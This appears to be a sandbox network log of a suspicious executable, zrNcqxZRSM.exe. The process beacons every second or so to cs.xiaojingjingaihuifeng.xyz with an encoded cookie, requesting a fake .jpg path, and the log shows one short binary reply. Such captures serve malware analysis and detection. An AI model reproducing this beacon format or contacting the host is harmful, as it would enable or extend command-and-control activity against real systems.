2025-01-10 14:13:16 UTC	761	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:13:16 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Sq4d890rmpQDl8UspxnZimbDzfGYk1KSds%2FGYenWCPWLcmdz28jC%2BNyF7x%2BHsokNsMfMHjujfUt72skTg18v78nfHiStbhVG57UIvpc9j%2B%2FuUjOWjXJOd1Qige2KmDecjBSF%2FD1ykJFR3%2B7s6jNY"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd44428a50c440-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1767&min_rtt=1736&rtt_var=673&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2380&recv_bytes=1056&delivery_rate=1682027&cwnd=245&unsent_bytes=0&cid=a39cf177154cbf37&ts=881&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49721	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:13:16 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:13:17 UTC	760	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:13:17 GMT Content-Length: 64 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YXH70fIlHCb66KWnugYqsI9KyWfWl9Ng1epUMXAhFYkQ9%2FZgjUfrNJ7sM%2FMc38yRssLqo8FrSehmc42ot%2F%2Frsv6uN%2BEuM5uUsBvIAt7IBBA5Me7j8%2FQTrLcn7i0r0loMKwpVALKqoVvV6yLnWu5e"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd444cdb538c9c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1996&min_rtt=1987&rtt_var=763&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2378&recv_bytes=1056&delivery_rate=1417475&cwnd=196&unsent_bytes=0&cid=d32587a24eb92ab2&ts=441&x=0"
2025-01-10 14:13:17 UTC	64	IN	Data Raw: 67 01 5f 47 99 c1 45 42 f1 7a 6b ed c1 06 82 9b ef 0c 04 e7 02 9d d5 a9 0a 17 54 3a 56 14 7a e2 d2 87 4b b3 a3 4f ba 77 c3 7e 90 d4 1d 8a 59 29 1c 17 23 61 4a 45 ac f4 d3 b7 59 82 54 7e c3 56 Data Ascii: g_GEBzkT:VzKOw~Y)#aJEYT~V

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49727	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:13:17 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:13:18 UTC	763	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:13:18 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hMv7XsLThsohNvZh%2BEIQVA41C%2FQTG98xu4N97AVrNV3jMW19GYmp5Fxvieb%2BLzfx2slr%2FQc3qIxsi4klI4qQvJzP6%2BNw2mKCUEAd0ZaIxVtQzb4%2FrtjKLpp81hXmFe%2BmDGqqD%2Fcgkjkodw5JnmSk"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd44536cc14326-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2145&min_rtt=2140&rtt_var=813&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2379&recv_bytes=1056&delivery_rate=1338221&cwnd=178&unsent_bytes=0&cid=7543ba353754fcbf&ts=456&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49733	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:13:18 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:13:19 UTC	763	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:13:19 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OKJtlq1XaBa96Urrs7XrKtTpOSIsVwikWb3RvPm8jjLw9smSRXQ0B%2FaFaQGCGsUfr%2BBzro5S7hV9JpzSTpU975s%2B3ho0ZsWCMxtJ1GowROZo%2BvdVwZc%2FZWvxkoCsP6jUrue%2FKnLwTHWCkkS%2F%2Bi3p"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd4459cbdf0f78-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1732&min_rtt=1726&rtt_var=651&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2378&recv_bytes=1056&delivery_rate=1691772&cwnd=220&unsent_bytes=0&cid=5205d2a19c4bdc91&ts=416&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49744	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:13:19 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:13:20 UTC	759	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:13:20 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=16yjiL7EvIAySigW1v3%2Ffkyd7%2F9befRYbrcU%2Bn1cP2M4qyds4unWvBp7%2F2Z2VUigsXUgtHEZwl424bFMMWETZUwLdJpR9JJW3iNYQcu1riAcFw8SeB%2F53sTmtkuUUHmMzS68g1y5Z3Tp%2BR4r3rMl"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd446009430f3a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1511&min_rtt=1511&rtt_var=568&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2378&recv_bytes=1056&delivery_rate=1923583&cwnd=165&unsent_bytes=0&cid=e8c46d2373d63b01&ts=429&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49751	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:13:20 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:13:21 UTC	757	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:13:21 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Vjm4SL3LyZSaTuNfdHw8s8IUqoB4lALuqM09cBBzHT%2BFAszHBVnsGds3iJYQ%2BOSNhehfc8XXhdATSvpGow6jKZwm%2Fats%2BgVrPv0egKmf4zBxR8qEOOr09ZXjADWz5tjHiVlU0282F%2FnvEcKZZfXv"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd44665c2d4210-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2182&min_rtt=2174&rtt_var=831&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2379&recv_bytes=1056&delivery_rate=1304153&cwnd=246&unsent_bytes=0&cid=677a968c43af159f&ts=417&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49757	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:13:21 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:13:22 UTC	755	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:13:22 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ciR7NGiTNfNMuj01DzTL%2BXi3ewz7MveAyL1%2FCLphCoJ3dPOsvEO1RgytfLVd%2FXTYVgbX6IPbz%2FrNQ6mfXpnw5ZQr92aeWzHSf1wz8pWVwrpm0TdoH85BztLrpDyA3ukv4fQTDqvs9NqIQHRZNqNC"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd446c8808f797-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1646&min_rtt=1639&rtt_var=619&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2379&recv_bytes=1056&delivery_rate=1781574&cwnd=171&unsent_bytes=0&cid=f18f12ceb48ceee6&ts=398&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49767	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:13:22 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:13:23 UTC	755	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:13:23 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qbDANXhuaHpk%2BwGt5hWSlXAjAiumnKe2SZmjaJIkjGvhl2cgk2mj1PW3ssnz5vV3uzG4S86GoLF8KWm5CHkZCqzBLozj1vpqJ50W8dq8LzrgIi0ZOkyAm%2B9VW0JQn%2BasSoDBdZR3EL8XrRD%2BDPSC"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd44729d3b0f73-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1682&min_rtt=1679&rtt_var=637&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2380&recv_bytes=1056&delivery_rate=1707602&cwnd=235&unsent_bytes=0&cid=90ec6739afca6d95&ts=398&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49773	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:13:23 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:13:24 UTC	753	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:13:24 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Q6okUIHQv9LS2HPF5EHR86rWfJMBXL0G8nnm37Vd0fHAs5zJfSAoHrnQ%2FDnTYyB7PnWTAFSCY4czaLpxOuzd1mJCmPPY2evUkOI%2BpZjLzLYRIjX%2FmWC7Bg14QzcReh8CLWsxrKa3EJHnunp5WWGk"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd4478df3f42df-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1730&min_rtt=1729&rtt_var=651&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2380&recv_bytes=1056&delivery_rate=1677197&cwnd=237&unsent_bytes=0&cid=1583ce8af52e981d&ts=406&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49780	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:13:24 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:13:25 UTC	753	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:13:25 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rOKdAfet2yT5tPdsW%2FBfsqsILozQZ34ve6TnOgLyWGFeDeSnjoMzV4PWxylMf8VKJ4Bk7XGaYiIoQp3Rb7OnkJjXoa%2BoBU6PWU9LheVzuYT0Vd67FGhAot13OHy5ORRkaUF%2BoqSQaSiedpXr0dZE"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd447f2d0e431a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1561&min_rtt=1549&rtt_var=606&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2380&recv_bytes=1056&delivery_rate=1769696&cwnd=224&unsent_bytes=0&cid=805661c9ba598f36&ts=438&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49789	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:13:25 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:13:26 UTC	755	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:13:26 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TTRJ3BNExujBNIzaVWZQS93%2BCTM0wfDQxsUFuDkfv2IBZLaW%2BLjweZkrYZ0y0Eby5NtFrSlM8wx1yXzxXevmXvIM0IByAVLPlT44NggF%2FkNSSEQbBbRVVeg%2F6JIQBinfiDhVbT6p7ODvH6aKIbFN"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd4485ac4243b9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1582&min_rtt=1567&rtt_var=618&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2379&recv_bytes=1056&delivery_rate=1726788&cwnd=192&unsent_bytes=0&cid=0725d70ce5415a70&ts=444&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49795	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:13:26 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:13:27 UTC	769	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:13:27 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1fpjItFcTAxMoFtk%2BI%2Fwb9ho%2F8tTurOj7i%2FfuyYzyD5BOo%2FH%2BL1UQdVHo%2FP694B90t%2BBbpbfVxicX%2FHhVlwjwI2OldlFIaHjOdyt%2BwSsQDVfM0f61fcHyExfc5BIq%2FAX6AJqMEq8cEWpDMNwzk8R"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd448c1f4878d3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2009&min_rtt=1983&rtt_var=796&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2378&recv_bytes=1056&delivery_rate=1330296&cwnd=210&unsent_bytes=0&cid=2b3d07555b1d68e2&ts=412&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	49803	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:13:27 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:13:28 UTC	757	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:13:28 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9IJ6OZOoMWh6nJCDUmxclMaMgXZH2AHYVq81OxKhbvh3K0HOnFRo6CgB6l85pK%2FT%2FCq0VoB1JL6Edrv223%2FEG5x5bjDmD9Ot7kWK7HOEE9k4%2Fu7nZ719%2F1tIqCuBPTMNvVXF4USujjdY8TOtQjCz"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd44923db67c9a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2046&min_rtt=2037&rtt_var=783&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2379&recv_bytes=1056&delivery_rate=1379962&cwnd=195&unsent_bytes=0&cid=2e75137f2f28cc38&ts=402&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	49809	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:13:28 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:13:29 UTC	759	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:13:29 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LPskW8WH1omCD19ch0bz4f6ARZGvmKdel4AzQ0dTe1x9V9bk4SKbB4BBnRPJtkV3j8XhrI0kVES%2Fdi33UTJeU5shRrbJ2p3UMx%2BccK%2FShRR7PdLnmtM2qBK16R9DO%2FbS%2FTfBepel%2Fv6JrXzLlftf"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd4498ce0243b9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2118&min_rtt=2109&rtt_var=809&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2379&recv_bytes=1056&delivery_rate=1336996&cwnd=192&unsent_bytes=0&cid=37ee64b899087f60&ts=446&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	49819	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:13:30 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:13:30 UTC	757	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:13:30 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=stRmKtEEPKiYHLXbrjKzT96nbI%2F4iLdnJfr5SR3EpEOBkrs1YdgiLLlUBdn1SLAqYObkjPKmvXeaDpIRXxBkaE%2FXA2AjAyBAeVUZPfaaaDxtrY1XaYdx%2FLS%2F01L2VBon2GpPiwhlRw1a%2F0o7WVfg"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd449f4fcdc411-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1559&min_rtt=1547&rtt_var=604&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2380&recv_bytes=1056&delivery_rate=1776155&cwnd=224&unsent_bytes=0&cid=f62de0f4362d9b1b&ts=447&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	49826	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:13:31 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
